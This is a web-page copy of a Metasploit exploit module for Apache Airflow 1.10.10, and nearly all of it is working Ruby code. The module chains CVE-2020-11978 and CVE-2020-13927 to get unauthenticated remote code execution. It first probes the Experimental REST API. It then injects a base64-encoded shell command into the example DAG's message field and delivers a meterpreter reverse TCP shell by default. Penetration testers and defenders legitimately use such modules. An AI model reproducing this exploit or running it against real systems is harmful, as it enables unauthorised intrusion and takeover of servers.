Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/apache_airflow_dag_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',17'Description' => %q{18This module exploits an unauthenticated command injection vulnerability19by combining two critical vulnerabilities in Apache Airflow 1.10.10.20The first, CVE-2020-11978, is an authenticated command injection vulnerability21found in one of Airflow's example DAGs, "example_trigger_target_dag", which22allows any authenticated user to run arbitrary OS commands as the user23running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default24setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's25Experimental REST API to perform malicious actions such as creating the26vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation27and command injection, leading to unauthenticated remote code execution.28},29'License' => MSF_LICENSE,30'Author' => [31'xuxiang', # Original discovery and CVE submission32'Pepe Berba', # ExploitDB author33'Ismail E. Dawoodjee' # Metasploit module author34],35'References' => [36[ 'EDB', '49927' ],37[ 'CVE', '2020-11978' ],38[ 'CVE', '2020-13927' ],39[ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],40[ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],41[ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],42],43'Platform' => ['linux', 'unix'],44'Arch' => ARCH_CMD,45'Targets' => [46[47'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }48],49],50'Privileged' => false,51'DisclosureDate' => '2020-07-14',52'DefaultTarget' => 0,53'Notes' => {54'Stability' => [CRASH_SAFE],55'Reliability' => [REPEATABLE_SESSION],56'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]57}58)59)60register_options(61[62Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),63OptString.new('TARGETURI', [ true, 'Base path', '/' ]),64OptString.new('DAG_PATH', [65true,66'Path to vulnerable example DAG',67'/api/experimental/dags/example_trigger_target_dag'68]),69OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])70]71)72end7374def check75uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')76vprint_status("Checking target web server for a response at: #{full_uri(uri)}")77res = send_request_cgi({78'method' => 'GET',79'uri' => uri80})8182unless res83return CheckCode::Unknown('Target did not respond to check request.')84end8586unless res.code == 200 &&87res.body.downcase.include?('admin') &&88res.body.downcase.include?('_csrf_token') &&89res.body.downcase.include?('sign in to airflow')90return CheckCode::Unknown('Target is not running Apache Airflow.')91end9293vprint_good('Target is running Apache Airflow.')9495vprint_status('Checking Apache Airflow version...')96version_number = res.body.to_s.scan(97%r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}98).flatten.first99100unless version_number101return CheckCode::Detected('Apache Airflow version cannot be determined.')102end103104unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')105return CheckCode::Safe106end107108vprint_status(109"Target is running Apache Airflow Version #{version_number}. " \110'Performing additional checks for exploitability...'111)112113check_api114check_task115check_unpaused116117return CheckCode::Appears118end119120def check_api121uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')122vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")123res = send_request_cgi({124'method' => 'GET',125'uri' => uri126})127128unless res && res.code == 200129return CheckCode::Safe('Could not access the Airflow Experimental REST API.')130end131132vprint_good('Airflow Experimental REST API is accessible.')133end134135def check_task136uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')137vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')138res = send_request_cgi({139'method' => 'GET',140'uri' => uri141})142143unless res && res.code == 200144return CheckCode::Safe(145'Could not find "example_trigger_target_dag.bash_task". ' \146'Target is not vulnerable to CVE-2020-11978.'147)148end149150if res.get_json_document['env'].include?('dag_run')151return CheckCode::Safe(152'The "example_trigger_target_dag.bash_task" is patched. ' \153'Target is not vulnerable to CVE-2020-11978.'154)155end156157vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')158end159160def check_unpaused161uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')162vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')163res = send_request_cgi({164'method' => 'GET',165'uri' => uri166})167168unless res && res.code == 200169return CheckCode::Safe(170'Could not unpause "example_trigger_target_dag.bash_task". ' \171'Example DAGs were not loaded.'172)173end174175vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')176end177178def create_dag(cmd)179cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"180uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')181vprint_status('Creating a new vulnerable DAG...')182res = send_request_cgi({183'method' => 'POST',184'uri' => uri,185'ctype' => 'application/json',186'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })187})188189unless res && res.code == 200190fail_with(Failure::PayloadFailed, 'Failed to create DAG.')191end192193print_good("Successfully created DAG: #{res.get_json_document['message']}")194return res.get_json_document['execution_date']195end196197def await_execution(execution_date)198uri = normalize_uri(199target_uri.path,200datastore['DAG_PATH'],201'dag_runs', execution_date, 'tasks', 'bash_task'202)203print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')204vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')205206i = 0207loop do208i += 1209sleep(10)210res = send_request_cgi({211'method' => 'GET',212'uri' => uri213})214215unless res && res.code == 200216fail_with(Failure::Unknown, 'Bash task state cannot be determined.')217end218219state = res.get_json_document['state']220if state == 'queued'221print_status('Bash task is queued...')222elsif state == 'running'223print_good('Bash task is running. Expect a session if executed successfully.')224break225elsif state == 'success'226print_good('Successfully ran Bash task. Expect a session soon.')227break228elsif state == 'None'229print_warning('Bash task is not yet queued...')230elsif state == 'scheduled'231print_status('Bash task is scheduled...')232else233print_status("Bash task state: #{state}.")234break235end236# stop loop when timeout237next unless datastore['TIMEOUT'] <= 10 * i238239fail_with(Failure::TimeoutExpired,240'Bash task did not run within the specified time ' \241"- #{datastore['TIMEOUT']} seconds.")242end243end244245def exploit246print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")247execution_date = create_dag(payload.encoded)248await_execution(execution_date)249end250end251252253